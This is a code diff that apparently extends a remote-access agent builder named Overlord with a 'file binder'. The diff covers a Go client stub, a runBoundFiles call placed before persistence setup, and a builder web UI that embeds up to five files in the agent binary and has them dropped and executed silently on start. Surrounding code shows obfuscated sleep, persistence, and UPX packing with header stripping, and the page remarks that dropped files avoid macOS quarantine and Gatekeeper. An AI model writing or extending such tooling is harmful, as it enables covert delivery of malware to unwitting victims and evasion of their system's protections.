diff --git a/Overlord-Client/cmd/agent/binder_stub.go b/Overlord-Client/cmd/agent/binder_stub.go new file mode 100644 index 0000000..4dc02b7 --- /dev/null +++ b/Overlord-Client/cmd/agent/binder_stub.go @@ -0,0 +1,5 @@ +//go:build !hasbinder + +package main + +func runBoundFiles() {} diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go index 3f437b6..09998bc 100644 --- a/Overlord-Client/cmd/agent/main.go +++ b/Overlord-Client/cmd/agent/main.go @@ -16,6 +16,8 @@ func main() { sleepObfuscated(cfg.SleepSeconds) } + runBoundFiles() + if cfg.EnablePersistence { if err := persistence.Setup(); err != nil { log.Printf("Warning: Failed to setup persistence: %v", err) diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 5bc6e1e..2c226c3 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -227,6 +227,121 @@ if (iconClear) { }); } +const MAX_BIND_FILES = 5; +const MAX_BIND_FILE_BYTES = 10 * 1024 * 1024; // 10 MB + +let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean } + +const bindFileInput = document.getElementById("bind-file-input"); +const bindFilesList = document.getElementById("bind-files-list"); +const bindAddLabel = document.getElementById("bind-add-label"); + +function sanitizeBindName(name) { + return name.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64) || "file"; +} + +function renderBoundFiles() { + if (!bindFilesList) return; + bindFilesList.innerHTML = ""; + + boundFiles.forEach((entry, idx) => { + const div = document.createElement("div"); + div.className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg"; + + const osList = ["windows", "linux", "darwin"]; + const osIcons = { windows: "fa-brands fa-windows", linux: "fa-brands fa-linux", darwin: "fa-brands fa-apple" }; + const osColors = { windows: "text-blue-400", linux: "text-amber-400", darwin: "text-slate-200" }; + const osLabels = { windows: "Windows", linux: "Linux", darwin: "macOS" }; + + const osCheckboxes = osList + .map( + (os) => + ``, + ) + .join(""); + + div.innerHTML = ` +
+ + ${entry.name} + +
+
+ Run on: + ${osCheckboxes} + + +
+ `; + + div.querySelector(".bind-remove-btn").addEventListener("click", () => { + boundFiles.splice(idx, 1); + renderBoundFiles(); + updateBindAddVisibility(); + }); + + div.querySelectorAll(".bind-os-cb").forEach((cb) => { + cb.addEventListener("change", () => { + const checked = Array.from(div.querySelectorAll(`.bind-os-cb[data-idx="${idx}"]`)) + .filter((el) => el.checked) + .map((el) => el.dataset.os); + boundFiles[idx].targetOS = checked.length === osList.length ? [] : checked; + }); + }); + + div.querySelector(".bind-exec-cb").addEventListener("change", (e) => { + boundFiles[idx].execute = e.target.checked; + }); + + bindFilesList.appendChild(div); + }); +} + +function updateBindAddVisibility() { + if (!bindAddLabel) return; + bindAddLabel.classList.toggle("hidden", boundFiles.length >= MAX_BIND_FILES); +} + +if (bindFileInput) { + bindFileInput.addEventListener("change", () => { + const file = bindFileInput.files[0]; + bindFileInput.value = ""; + if (!file) return; + + if (boundFiles.length >= MAX_BIND_FILES) { + alert(`Maximum ${MAX_BIND_FILES} files can be bound.`); + return; + } + if (file.size > MAX_BIND_FILE_BYTES) { + alert(`Each bound file must be under 10 MB. "${file.name}" is too large.`); + return; + } + const safeName = sanitizeBindName(file.name); + if (boundFiles.some((f) => f.name === safeName)) { + alert(`A file named "${safeName}" is already in the list.`); + return; + } + + const reader = new FileReader(); + reader.onload = () => { + const base64 = reader.result.split(",")[1]; + boundFiles.push({ name: safeName, base64, targetOS: [], execute: true }); + renderBoundFiles(); + updateBindAddVisibility(); + }; + reader.readAsDataURL(file); + }); +} + async function init() { try { updateServerUrlPlaceholder(); @@ -396,6 +511,9 @@ form?.addEventListener("submit", async (e) => { iconBase64: pendingIconBase64 || undefined, enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false, upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false, + boundFiles: boundFiles.length > 0 + ? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute })) + : undefined, }; const hasAndroid = platforms.some(p => p.startsWith('android-')); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index a5a6fa3..6781bc3 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -436,6 +436,47 @@ + +
+ +
+
+ +

+ Files are embedded inside the agent binary and written to a temp directory when the agent starts. + Up to 5 files, 10 MB each. Files set to Execute are launched immediately after being dropped. +

+ + +
+ + + macOS note: Files are written programmatically and do not receive the quarantine flag, + so Gatekeeper usually will not block them. However, on newer macOS versions (Ventura+) unsigned binaries may + still be restricted depending on system policy. + +
+ + +
+ + + + +
+
+
+